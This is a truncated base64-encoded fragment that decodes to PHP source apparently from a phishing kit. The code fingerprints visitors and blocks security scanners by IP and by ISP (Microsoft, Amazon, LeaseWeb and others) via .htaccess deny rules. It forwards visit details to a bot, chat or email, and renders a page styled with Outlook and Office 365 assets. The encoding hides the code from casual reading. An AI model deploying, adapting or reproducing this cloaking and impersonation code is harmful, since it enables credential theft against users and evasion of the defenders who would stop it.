VudHJ5CkJyb3dzZXIgOiAkYnJvd3NlcgpEZXZpY2UgOiAkb3MKSVNQIDogJGlzcCIuKCR0aW1lem9uZSAhPSAiIiA/ICgiClRpbWV6b25lIDogJHRpbWV6b25lCiIpIDogIiIpOwoKZnVuY3Rpb24gcmVkaXJlY3QoJG9uZSA9IDAsJHJlYXNvbj0iS25vd24gQm90IiwkcmFuZ2U9ZmFsc2UpewpsaXN0KCRpcCwkY2l0eSwkY291bnRyeSwkaXNwKSA9IGFycmF5X21hcChmdW5jdGlvbigkaW5wKXsKCXJldHVybiAkR0xPQkFMU1skaW5wXTsKfSxbImlwIiwiY2l0eSIsImNvdW50cnkiLCJpc3AiXSk7CmlmKCRvbmUpewoJJGlwID0kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSA/PyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCSRpcF9hcnIgPSBleHBsb2RlKCcsJywkaXApOwoJZm9yZWFjaCAoJGlwX2FyciBhcyAkXyA9PiAkb2YpewoJCSRkZW55ID0gc3ByaW50ZignZGVueSBmcm9tICVzJywkb2YuUEhQX0VPTCk7CgkJZmlsZV9wdXRfY29udGVudHMoJy5odGFjY2VzcycsJGRlbnksRklMRV9BUFBFTkQpOwoJfQoJaWYoJHJhbmdlKQoJCQlmaWxlX3B1dF9jb250ZW50cygnLmh0YWNjZXNzJywkcmFuZ2UsRklMRV9BUFBFTkQpOwp9CiBzYXZlX3IoJ2xvZy5qc29uJyxhcnJheSgKCSdpcCcgPT4gJGlwLAoJJ2NpdHknID0+ICRjaXR5LAoJJ2NvdW50cnknID0+ICRjb3VudHJ5LAoJJ2lzcCcgPT4gJGlzcCwKCSdib3QnID0+IDEsCgkncmVhc29uJyA9PiAkcmVhc29uLAoJJ2RhdGUnID0+IGRhdGUoJ2pTIEYgWSwgaDppOnMgQScpLAopKTsKZWNobyAie1wiYmxvY2tcIjpcIlskcmVhc29uXVwifSI7IC8vYWRkIGpzIHRvIHNob3cgYmxvY2sgcmVhc29uCmV4aXQoKTsKfQovL2JsYWNrbGlzdGVkIGlwCiRkZXRhaWxzWyJibGFja2xpc3QiXSA9ICRkZXRhaWxzWyJibGFja2xpc3QiXSA/PyAiIjsKaWYoJGRldGFpbHNbImJsYWNrbGlzdCJdICYmICRibG9ja19ibGFjayl7CglyZWRpcmVjdCgwLCRyZWFzb249IkJsYWNrbGlzdGVkIElwIik7Cn0KCi8vcHJveHkgdXNhZ2UKJGRldGFpbHNbInByb3h5X3VzYWdlIl0gPSAkZGV0YWlsc1sicHJveHlfdXNhZ2UiXSA/PyAiIjsKaWYoJGRldGFpbHNbInByb3h5X3VzYWdlIl0gJiYgJGJsb2NrX3Byb3h5KXsKCXJlZGlyZWN0KDAsJHJlYXNvbj0iVXNpbmcgUHJveHkiKTsKfQoKLy9jb3VudHJ5IGNvZGUKJGRldGFpbHNbImNvdW50cnljb2RlIl0gPSAkZGV0YWlsc1siY291bnRyeWNvZGUiXSA/PyAiIjsKaWYoIWluX2FycmF5KCRkZXRhaWxzWyJjb3VudHJ5Y29kZSJdLChleHBsb2RlKCIsIiwkYWNjZXB0ZWRfY291bnRyeXMpKSkgJiYgIWVtcHR5KCRhY2NlcHRlZF9jb3VudHJ5cykpewoJcmVkaXJlY3QoMCwkcmVhc29uPSJXcm9uZyBDb3VudHJ5Iik7Cn0KCmlmKCRibG9ja19jaGVja2VyID09ICIxIil7CmlmIChwcmVnX21hdGNoKCcvNDBcLjk0LycsJGlwKSl7CglyZWRpcmVjdCgxKTsKfQppZigkaXAgPT0gJzY5LjU1LjUuMjQ5Jyl7CglyZWRpcmVjdCgxKTsKfQppZigkaXAgPT0gJzQ3LjE5LjIzOS41MCcpewoJcmVkaXJlY3QoMSk7Cn0KaWYgKCRpc3A9PSdNaWNyb3NvZnQgQ29ycG9yYXRpb24nIHx8ICRpc3AgPT0gJ01pY3Jvc29mdCBBenVyZScpewoJcmVkaXJlY3QoMSk7Cn0KaWYgKCRpc3A9PSdBbWF6b24uY29tJyAmJiBzdHJ0b2xvd2VyKCRjaXR5KT09ICdhc2hidXJuJyl7CglyZWRpcmVjdCgxKTsKfQppZihwcmVnX21hdGNoKCcvbGVhc2V3ZWIvaScsJGlzcCkpewoJcmVkaXJlY3QoMSk7Cn0KaWYoc3RydG9sb3dlcigkaXNwKSA9PSAnbTI0NyBsdGQnKXsKCXJlZGlyZWN0KDEpOwp9CmlmKCRpc3AgPT0gJ0NvZ2VudCBDb21tdW5pY2F0aW9ucycpewoJcmVkaXJlY3QoMSk7Cn0KJGJsID0gZmlsZV9nZXRfY29udGVudHMoImFkbWluL2JsLnR4dCIpOwokYmxzID0gZXhwbG9kZShQSFBfRU9MLCRibCk7CmZvcmVhY2goJGJscyBhcyAkaW4gPT4gJHZhbCl7CgkkanMgPSBqc29uX2RlY29kZSgkdmFsLDEpOwoJc3dpdGNoKCRqc1siaCJdKXsKCQljYXNlICJpcCI6CgkJCWlmKHN0cmlwb3MoJGlwLCRqc1sidiJdKSAhPT0gZmFsc2UpewoJCQkJcmVkaXJlY3QoMSk7CgkJCX0KCQkJYnJlYWs7CgkJY2FzZSAiaXNwIjoKCQkJaWYoc3RyaXBvcygkaXNwLCRqc1sidiJdKSAhPT0gZmFsc2UpewoJCQkJcmVkaXJlY3QoMSk7CgkJCX0KCQkJYnJlYWs7CgkJZGVmYXVsdDoKCQkJYnJlYWs7Cgl9Cn0KfQpzYXZlX3IoJ2xvZy5qc29uJyxhcnJheSgKCSdpcCcgPT4gJGlwLAoJJ2NpdHknID0+ICRjaXR5LAoJJ2NvdW50cnknID0+ICRjb3VudHJ5LAoJJ2lzcCcgPT4gJGlzcCwKCSdib3QnID0+IDAsCgknZGF0ZScgPT4gZGF0ZSgnalMgRiBZLCBoOmk6cyBBJyksCikpOwppZiAoJHZfc2VuZCA9PSAiMSIpewokZGlzPW5ldyBkaXNwKCk7CiRkaXMtPnNlbmQoJGRldCwkYm90LCRjaGF0LCRlbWFpbCwndmlzaXRzLnR4dCcpOwp9Cn0KZnVuY3Rpb24gdG9fb3V0cHV0KCRlbWFpbCwkdXJsLCRhcGksJGNoYXQsJGNvbmZpZyA9IG51bGwpewoJaWYoJGNvbmZpZyl7CgkJJGFycl9jb25mID0ganNvbl9kZWNvZGUoYmFzZTY0X2RlY29kZSgkY29uZmlnKSwxKTsKCQlpZigkYXJyX2NvbmYpewoJCQlpZigkYXJyX2NvbmZbInRpdGxlIl0gIT0gImRlZmF1bHQiKXsKCQkJCSR0aXRsZSA9ICRhcnJfY29uZlsidGl0bGUiXTsKCQkJfTsKCQkJaWYoJGFycl9jb25mWyJiYWNrIl0gIT0gImRlZmF1bHQiKXsKCQkJCSRiYWNrID0gc3ByaW50ZigidXJsKCVzKTsiLCRhcnJfY29uZlsiYmFjayJdKTsKCQkJfQoJCQlpZigkYXJyX2NvbmZbImNhcHRpb24iXSAhPSAiZGVmYXVsdCIpewoJCQkJJGNhcHRpb24gPSAkYXJyX2NvbmZbImNhcHRpb24iXTsKCQkJfQoJCX0KCX0KCXJldHVybiBiYXNlNjRfZW5jb2RlKCc8aHRtbCBkaXI9Imx0ciIgbGFuZz0iZW4iIHN0eWxlPSJmaWx0ZXI6IGh1ZS1yb3RhdGUoMTBkZWcpIj4KICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICA8bGluayBocmVmPSJkYXRhOmltYWdlL3BuZztiYXNlNjQsQUFBQkFBRUFIU0FBQUFFQUlBQW9Ed0FBRmdBQUFDZ0FBQUFkQUFBQVFBQUFBQUVBSUFBQUFBQUFnQTRBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURPZEpvQTBYYVpCTXB5bWtYRmJaYXh3R21TN3J4bWp2NjVZNHJ1dFdDR3NiSmVnVVNzV25nRXIxeDhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURSZDVrQTIzN0VBTlY3cFNEU2VLT0t6WFdnNnNseG5QL0ZicGovd1dxVC83MW5qLys1WTRyL3RXQ0c2YkZlZ1ltdFczMGZ0bU9WQUt4YWR3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURhaEp3QTQ0YTFBT09Ic3d6ZmhMSmYyb0N0MDlkOHF2N1RlYWIvejNhaS84dHpudi9IYjVuL3dtdVUvNzVuai8rNVk0ci90R0NGL3JCY2dOS3RXbjFmcTFoNEM2dFllZ0RNZHBBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTdJNi9BTzJQd0FMc2piODQ2SXE4cnVTSHVQamdoTFQvM0lHdy85aCtyUC9VZXFmL3ozYWkvOHR6bnYvR2I1bi93V3FULzcxbWp2KzRZNG4vczErRS82NWJmL2VxVjNxdHAxUjJONTlQYVFLa1VuQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQS9xMzVBTjkxZkFEemxNd2M4SkxEaGZDUnhPanVqOFgvNjR6QS8rYUl1di9paGJYLzNZS3gvOWgrclAvVGVxYi96M2FpLzhweW5mL0ZiWmYvd0dtUy83dGxqUCsyWVlmL3NWMkMvNnhaZlArblZIZm5vMUZ5Z3FCUGJodWdUbmdBb1ZGcEFBQUFBQUFBQUFBQTFIcFNBTVp2RndER2J4TUt5SEV4V2NselNNN0djVXIrd205US84eDJjZi9oaGFYLzY0ekEvK2FKdS8vaGhiVC8zSUd2LzlkOXF2L1NlS1gvelhTZy84aHdtdi9EYTVYL3ZtZVAvN2hqaXYrelg0VC9ybHQvLzZsV2VmK2tVblQ5bjA1dnpKeE1hbGVhUzJZSm1rdG9BS1pWWEFETmRCTUF6blFZRzhweEVhREViUTcydldrTC83ZGtDUCt2WUFqL3FWc0svNnhlSXYvSWMyei80b2F2LytTSHV2L2VnN0wvMlgrcy85UjZwLy9QZHFML3lYS2MvOFZ0bC8rL2FaSC91bVNMLzdWZ2h2K3dYSUQvcWxkNy82VlRkZitnVDNEL20wdHE5WmRJWnA2WlNtY2JsMGhtQU5SNEloTFNkaGVxejNRVC84eHlFZi9JY0JIL3cyd1EvNzFvRC8rMlpBLy9ybDhNLzZkYkRmK3pZemIvejNpRS85NkNzUC9hZ0svLzFYdW8vODkyb3YvS2NwMy94VzZYLzhCcGt2KzdaWXovdG1HSC83QmRnZityV0h6L3BsUjMvNkZRY2YrY1RHdi9tRWxuLzVoSlo2ZWJUR2dSMVhraGM5WjVIUG5WZUJ2LzBuY2EvODkxR3YvTGNobi94MjhYLzhGckZ2KzhaeFgvdFdNUy82eGVEditwWEJiL3VXZE4vOUI0a3YvVWVxZi96M2FpLzhweW5mL0dicGovd0dtUy83dGxqZisyWVlmL3NWMkMvNnhaZlArblZIZi9vbEJ5LzU1TmJmK2FTbW4vbUVsbytaZEpabkRYZWlYUDJIc2wvOWg3SnYvWGVpYi8xSGdsLzlKM0kvL1BkQ0wveTNFZy84WnVIZi9BYWh2L3VtWVkvN05pRlArclhSRC9yVjRtNjhoeGhiclBkcUxzeVhLYy84VnRsLy9BYVpIL3UyV00vN1poaC8rd1hZSC9xMWg4LzZkVWQvK2lVWFAvbms1dS81cEthZitXU0diL2xVZGt6ZGw3S3ZmWmV5ei8yWHN2LzlsN01mL1llekgvMTNvdy85VjRMdi9TZGl2L3puUXAvOHB4SmYvRmJTSC92MmtkK3JkbEdibXNYaFJDczJGUUNNMTFua1BJY0ptNXcydVYrcjVva1ArNVk0ci90V0NHLzY5Y2dQK3JXSHYvcGxOMi82RlFjZitjVEd2L2wwaG4vNUpGWS8rUFEySDIyWHN3LzlsN00vL1plemIvMlh3NS85cDhPLy9hZkQzLzJYczgvOWQ1T2YvVmR6Yi8wbll5Lzg1ekxlWElieWR0d213bEVNVnRIUURDYW1ZQXhXeVhBTWh2bEJEQmFwRnV2R2FONWJkaWlQK3lYb1AvclZwKy82aFZlZitqVVhQL25VMXQvNWRKYVArU1JXUC9qVUZmLzQ1R1dmN1pmRGYvMlh3NS85cDhQUC9hZkQvLzJueEMvOXA4UlAvYmZFZi8ybnhILzlsN1JmL1hla0RuMUhnNlRQOC8vd0RUZVRvQUFBQUFBQUFBQUFBQUFBQUF2R2FKQVAvWHl3QzVZNGxPdEYrRTZLOWNnUCtxVjNyL3BGSjAvNTVPYnYrWVNXai9rVVZpLzR0QlhmK0VPMWYvbmw1Ui90cDhQZi9hZkVELzJueEQvOXA4UnYvYmZFbi8yM3hMLzl0OVR2L2JmVkQvM0gxUi90dDlUM3NBQUFBQTFudEhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBc1YxOEFPYUlnQUN1VzM1OXFsZDYvNlJTZFArZVRtNy9sMGxvLzVGRVl2K0pQMXYvZ2pwVS80STlULy9MbTAzKzJueEUvOXQ4Ui8vYmZFci8yM3hOLzl0OVQvL2NmVkwvM0gxVS85eDlWLy9jZlZqaDIzMVhKZHQ5VndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQXBsUjFBS2RWZGllalVYUGluVTF0LzVaSVp2K1BRMkQvaHo1Wi8zODNVdjk2TlV6L3NuNUwvL1hSVGYzYmZFci8yMzFOLzl0OVVQL2NmVlAvM0gxVy85eDlXZi9jZlZ2LzNYMWUvOTE5WDd2YWZsd0oybjViQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDZ1Qyc0FvVkJ0Q1pwTGFiMlVSbVgvakVGZS80UThWdjk3TkUvL2hFRksvN3VJUy8vejBVNy8rZFpPL2R4OVVQL2NmVlAvM0gxWC85eDlXdi9jZlYzLzNYMWcvOTE5WXYvZGZXVC8zWDFtck50OWJRUGJmV29BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUp4Tll3Q2lVbWNFa0VSaHJvby9XLytBT0ZUL2ZqaE4vNkJsU3YvYnIwei8rTlZPLy9uWFR2LzQxRTM5M0gxVy85eDlXdi9kZlYzLzNYMWcvOTE5WS8vZGZXYi8zbjFvLzk1OWEvL2VmVzJzM0gxd0E5eDliZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBbEVoWkFKMVBYQVNGUEZhdGZqZFIvNDlOUy8vRWowci83c1JNLy9iUVRmLzMwVTMvOTlKTi8vYlJUZjNjZlYzLzNYMWYvOTE5WS8vZGZXYi8zbjFwLzk1OWJQL2VmVy8vM24xeS85NTljNnpiZkcwRDIzeHZBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNSU0U0QWZqSlBCSXBGVEs2dWNFci80YXhLLy9IRFMvL3l4MHovODhwTS8vWE9UZi8xejAzLzljNU4vZDE5WXY3ZGZXWC8zbjFwLzk1OWJQL2VmWEQvM24xei85OTlkdi9nZm5uL3luQnAzSWxDTWsrWVN6Y0hra2MzQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTVLUklBT0tnU0Fma3BVaFAzS0ZKM2VxeVNmL3V1a3IvNzc5TC8vRERTLy95eDB6Lzg4cE0vL1RMVFAvMHkwejkzWDFuLzk1OWEvL2VmVy8vM24xeS85OTlkdi9mZm5uLzMzNTgvK0YvZ2YvQWFHVC9oMEVyOHBwTU1aeXVXamdyeG5CT0FiVmhRQUFBQUFBQTNwUklBTnFKU2dIZ21rWXI0NkJHbk9XbVIvTG9yVWovNnJGSi8reTJTdi91dTByLzhNQkwvL0REUy8veHhrei84c2RNLy9MSFRQN2VmV3ozM24xdy85OTlkZi9mZlhqLzMzNTgvOTkrZi8vZ2ZvUC80bitILzhCcGFQK0hRQ3YvbTAweC83QmJOOS9BYUR5T3puWkFVdGVEUXovYWpFVlMzWkpGanVDWVJkL2lua2IvNUtSRy8rZXBSLy9wcmtuLzZyTkovKzI0U3YvdXZFci84TUJMLy9EQ1MvL3d4RXYvOE1OTDl0NTljczdmZlhYLzMzMTYvOTkrZnYvZ2ZvTC80SDZGLytCK2lQL2lmNDMvd1dscy80ZEFLLythVEREL3IxczMvOEJvUFAvT2RrRDcxNEpEOWRxTFJmdmNrVVgvMzVaRi8rR2NSZi9qb1ViLzVhWkgvK2lyU1AvcHNFbi82N1JLLysyNFN2L3V2RXIvNzc1TC8vREFTLy92djB2TjNuMTRjdDkrZXZuZmZuNy80SDZDLytCK2h2L2hmb3IvNFg2Ty8rTi9rLy9CYVhEL2gwQXIvNXBNTVArdldqZi93R2M4Lzh4MFFQL1ZnRVAvMlloRS85dU9SZi9lbEVYLzRKbEYvK0tlUnYva28wYi81cWhILytpdFNQL3BzVW4vNjdSSy8rMjRTdi91dWtyLzdydEsrTzI2UzNEZWZYNFIzMzUvcU9CK2d2L2dmb2IvNFg2Sy8rRitqLy9oZjVQLzQ0Q1ovOEZwZFArSFFDdi9ta3d3LzY1YU52Ky9aenoveTNNLy85UitRdi9ZaGtULzJvdEYvOXlSUmYvZmxrWC80WnRGLytPZ1J2L2xwVWYvNTZsSC8raXRTZi9wc0VuLzY3UkovK3kyU3Yvc3QwcW42N1ZLRU45OWd3RGZmWUliNEg2R24rQitpZmJoZm83LzRYK1MvK0YvbHYvamdKei93V2wxLzRkQUsvK2FUREQvcmxvMi83NW1QUC9LY1QvLzAzeEMvOWVEUlAvWmlFVC8yNDVGLzkyVFJmL2dtRVgvNFoxRy8rT2lSdi9scGtmLzU2cEgvK2l0U2YvcHNFbjE2ckpKbnVxeVNocnJ0RW9BMFhlU0FOOStpZ0RkZllrSjRINk1WK0Yra012aGY1VDk0WCtZLytPQW5mL0NhbmIvaDBFci81cE1NUCt1V2piL3ZXVTcvOGx2UC8vU2VrSC8xb0ZELzlpR1JQL2FpMFgvM0pCRi85NlZSZi9nbWtYLzRwNUcvK09pUnYvbHBrZjk1NmxIeStpc1NWYm9yVXNKNks1S0FPQ2dUUUFBQUFBQUFBQUFBTnA3aXdEbWdwVUE0SDZQR3VCL2s0UGhmNWJvNG9DYS84MXhnZitNUkREL21rd3cvNjVhTnYrOVpEdi95VzAvLzlGM1FmL1Vma1AvMTRORS85bUlSUC9ialVYLzNaSkYvOStXUmYvaG0wWC80cDlHNStPaVJvSGtwVWdhNTZ4RUFOK1hUQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRGVmWklBM0gyUUF1QitsRGpoZjVXdDNIdU85NTlSUnYrWlRDLy9ybG8yLzd4ak8vL0lhei8vMEhSQi85TjdRdi9WZ0VQLzJJVkUvOXFLUlAvYmowWC8zWk5GOStDWFJhemhtMFkyNFo5SUF1R2RSd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURLYzNJQTRIK1JBTjkra0F6amdKTmV3V2hwMGFCUU52NnVXVGIvdkdNNy84ZHBQdi9PY1VILzBuaEMvOVI5UXYvV2drUC8ySWRFL3RxTFJkRGNrRVpkM3BOSUM5NlVSZ0RPWWx3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE0SCtNQUpaS0xRRFplb0llc0Z4SWlhOWFOK204WXp2L3gyaysvODF2UVAvUWRVTC8wM3BDLzlWL1F1alhnME9IMlloRkh0aURRUURaaVVVQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFMTmZSQUMwWWswRXMxNDZSTDFrUEsvSGFUN3R6RzVBL2M5elFlelNlRUd1MDN4QVF0TjlRQVRUZlVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQS84QWYrUCtBRC9qK0FBUDQrQUFBK1BBQUFIakFBQUFZZ0FBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJ3QUFBQi9BQUFBLzRBQUFQK0FBQUQvZ0FBQS80QUFBUCtBQUFEL2dBQUFmd0FBQUJ3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJQUFBQWpBQUFBWThBQUFlUGdBQVBqK0FBUDQvNEFQK1AvQUgvZz0iIHJlbD0ic2hvcnRjdXQgaWNvbiI+CiAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzQuNy4wL2Nzcy9mb250LWF3ZXNvbWUuY3NzIiBpbnRlZ3JpdHk9InNoYTI1Ni1OdUNuNEl2dVpYZEJhRktKT0Fjc1UyUTNacHdiZEZpc2Q1ZHV4NGprUTV3PSIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+CiAgIDxzdHlsZT5AZm9udC1mYWNlIHsKICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBcJ1NlZ29lIFVJIFdlc3RFdXJvcGVhblwnOwogICAgICAgICAgICAgICAgc3JjOiBsb2NhbChcJ1NlZ29lIFVJIExpZ2h0XCcpLCBsb2NhbChcJ1NlZ29lIFdQIExpZ2h0XCcpLAogICAgICAgICAgICAgICAgICAgIHVybChcJ2h0dHBzOi8vb3V0bG9vay0xLmNkbi5vZmZpY2UubmV0L2Fzc2V0cy9tYWlsL2ZvbnRzL3YxL2ZvbnRzL3NlZ29ldWktbGlnaHQuZW90PyNpZWZpeFwnKQogICAgICAgICAgICAgICAgICAgICAgICBmb3JtYXQoXCdlbWJlZGRlZC1vcGVudHlwZVwnKSwKICAgICAgICAgICAgICAgICAgICB1cmwoXCdodHRwczovL291dGxvb2stMS5jZG4ub2ZmaWNlLm5ldC9hc3NldHMvbWFpbC9mb250cy92MS9mb250cy9zZWdvZXVpLWxpZ2h0LndvZmZcJykKICAgICAgICAgICAgICAgICAgICAgICAgZm9ybWF0KFwnd29mZlwnKSwKICAgICAgICAgICAgICAgICAgICB1cmwoXCdodHRwczovL291dGxvb2stMS5jZG4ub2ZmaWNlLm5ldC9hc3NldHMvbWFpbC9mb250cy92MS9mb250cy9zZWdvZXVpLWxpZ2h0LnR0ZlwnKQogICAgIDsgICAgICAgICAgICAgICAgICAgZm9ybWF0KFwndHJ1ZXR5cGVcJyk7CiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogMTAwOwogICAgICAgICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBmb250LWZhY2UgewogICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IFwnU2Vnb2UgVUkgV2VzdEV1cm9wZWFuXCc7CiAgICAgICAgICAgICAgICBzcmM6IGxvY2FsKFwnU2Vnb2UgVUlcJyksIGxvY2FsKFwnU2Vnb2UgV1BcJyksCiAgICAgICAgICAgICAgICAgICAgdXJsKFwnaHR0cHM6Ly9vdXRsb29rLTEuY2RuLm9mZmljZS5uZXQvYXNzZXRzL21haWwvZm9udHMvdjEvZm9udHMvc2Vnb2V1aS1yZWd1bGFyLmVvdD8jaWVmaXhcJykKICAgICAgICAgICAgICAgICAgICAgICAgZm9ybWF0KFwnZW1iZWRkZWQtb3BlbnR5cGVcJyksCiAgICAgICAgICAgICAgICAgICAgdXJsKFwnaHR0cHM6Ly9vdXRsb29rLTEuY2RuLm9mZmljZS5uZXQvYXNzZXRzL21haWwvZm9udHMvdjEvZm9udHMvc2Vnb2V1aS1yZWd1bGFyLndvZmZcJykKICAgICAgICAgICAgICAgICAgICAgICAgZm9ybWF0KFwnd29mZlwnKSwKICAgICAgICAgICAgICAgICAgICB1cmwoXCdodHRwczovL291dGxvb2stMS5jZG4ub2ZmaWNlLm5ldC9hc3NldHMvbWFpbC9mb250cy92MS9mb250cy9zZWdvZXVpLXJlZ3VsYXIudHRmXCcpCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm1hdChcJ3RydWV0eXBlXCcpOwogICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDQwMDsKICAgICAgICAgICAgICAgIGZvbnQtc3R5bGU6IG5vcm1hbDsKICAgICAgICAgICAgfQogICAgICAgICAgICBAZm9udC1mYWNlIHsKICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBcJ1NlZ29lIFVJIFdlc3RFdXJvcGVhblwnOwogICAgICAgICAgICAgICAgc3JjOiBsb2NhbChcJ1NlZ29lIFVJIFNlbWlib2xkXCcpLCBsb2NhbChcJ1NlZ29lIFdQIFNlbWlib2xkXCcpLAogICAgICAgICAgICAgICAgICAgIHVybChcJ2h0dHBzOi8vb3V0bG9vay0xLmNkbi5vZmZpY2UubmV0L2Fzc2V0cy9tYWlsL2ZvbnRzL3YxL2ZvbnRzL3NlZ29ldWktc2VtaWJvbGQuZW90PyNpZWZpeFwnKQogICAgICAgICAgICAgICAgICAgICAgICBmb3JtYXQoXCdlbWJlZGRlZC1vcGVudHlwZVwnKSwKICAgICAgICAgICAgICAgICAgICB1cmwoXCdodHRwczovL291dGxvb2stMS5jZG4ub2ZmaWNlLm5ldC9hc3NldHMvbWFpbC9mb250cy92MS9mb250cy9zZWdvZXVpLXNlbWlib2xkLndvZmZcJykKICAgICAgICAgICAgICAgICAgICAgICAgZm9ybWF0KFwnd29mZlwnKSwKICAgICAgICAgICAgICAgICAgICB1cmwoXCdodHRwczovL291dGxvb2stMS5jZG4ub2ZmaWNlLm5ldC9hc3NldHMvbWFpbC9mb250cy92MS9mb250cy9zZWdvZXVpLXNlbWlib2xkLnR0ZlwnKQogICAgICAgICAgICAgICAgICAgICAgICBmb3JtYXQoXCd0cnVldHlwZVwnKTsKICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQGZvbnQtZmFjZSB7CiAgICAgICAgICAgICAgICBmb250LWZhbWlseTogXCdTZWdvZSBVSSBXZXN0RXVyb3BlYW5cJzsKICAgICAgICAgICAgICAgIHNyYzogbG9jYWwoXCdTZWdvZSBVSSBTZW1pbGlnaHRcJyksIGxvY2FsKFwnU2Vnb2UgV1AgU2VtaWxpZ2h0XCcpLAogICAgICAgICAgICAgICAgICAgIHVybChcJ2h0dHBzOi8vb3V0bG9vay0xLmNkbi5vZmZpY2UubmV0L2Fzc2V0cy9tYWlsL2ZvbnRzL3YxL2ZvbnRzL3NlZ29ldWktc2VtaWxpZ2h0LmVvdD8jaWVmaXhcJykKICAgICAgICAgICAgICAgICAgICAgICAgZm9ybWF0KFwnZW1iZWRkZWQtb3BlbnR5cGVcJyksCiAgICAgICAgICAgICAgICAgICAgdXJsKFwnaHR0cHM6Ly9vdXRsb29rLTEuY2RuLm9mZmljZS5uZXQvYXNzZXRzL21haWwvZm9udHMvdjEvZm9udHMvc2Vnb2V1aS1zZW1pbGlnaHQud29mZlwnKQogICAgICAgICAgICAgICAgICAgICAgICBmb3JtYXQoXCd3b2ZmXCcpLAogICAgICAgICAgICAgICAgICAgIHVybChcJ2h0dHBzOi8vb3V0bG9vay0xLmNkbi5vZmZpY2UubmV0L2Fzc2V0cy9tYWlsL2ZvbnRzL3YxL2ZvbnRzL3NlZ29ldWktc2VtaWxpZ2h0LnR0ZlwnKQogICAgICAgICAgICAgICAgICAgICAgICBmb3JtYXQoXCd0cnVldHlwZVwnKTsKICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAyMDA7CiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQGZvbnQtZmFjZSB7CiAgICAgICAgICAgICAgICBmb250LWZhbWlseTogXCdGYWJyaWNNREwySWNvbnNcJzsKICAgICAgICAgICAgICAgIHNyYzogdXJsKFwnaHR0cHM6Ly9vdXRsb29rLTEuY2RuLm9mZmljZS5uZXQvb3dhbWFpbC8yMDIyMDMyNTAwMi4wNC9yZXNvdXJjZXMvZm9udHMvbzM2NWljb25zLW1kbDIud29mZlwnKQogICAgICAgICAgICAgICAgICAgICAgICBmb3JtYXQoXCd3b2ZmXCcpLAogICAgICAgICAgICAgICAgICAgIHVybChcJ2h0dHBzOi8vb3V0bG9vay0xLmNkbi5vZmZpY2UubmV0L293YW1haWwvMjAyMjAzMjUwMDIuMDQvcmVzb3VyY2VzL2ZvbnRzL28zNjVpY29ucy1tZGwyLnR0ZlwnKQogICAgICAgICAgICAgICAgICAgICAgICBmb3JtYXQoXCd0cnVldHlwZVwnKTsKICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBub3JtYWw7CiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQGZvbnQtZmFjZSB7CiAgICAgICAgICAgICAgICBmb250LWZhbWlseTogXCdvZmZpY2UzNjVpY29uc1wnOwogICAgICAgICAgICAgICAgc3JjOiB1cmwoXCdodHRwczovL291dGxvb2stMS5jZG4ub2ZmaWNlLm5ldC9vd2FtYWlsLzIwMjIwMzI1MDAyLjA0L3Jlc291cmNlcy9mb250cy9vZmZpY2UzNjVpY29ucy5lb3Q/XCcpOwogICAgICA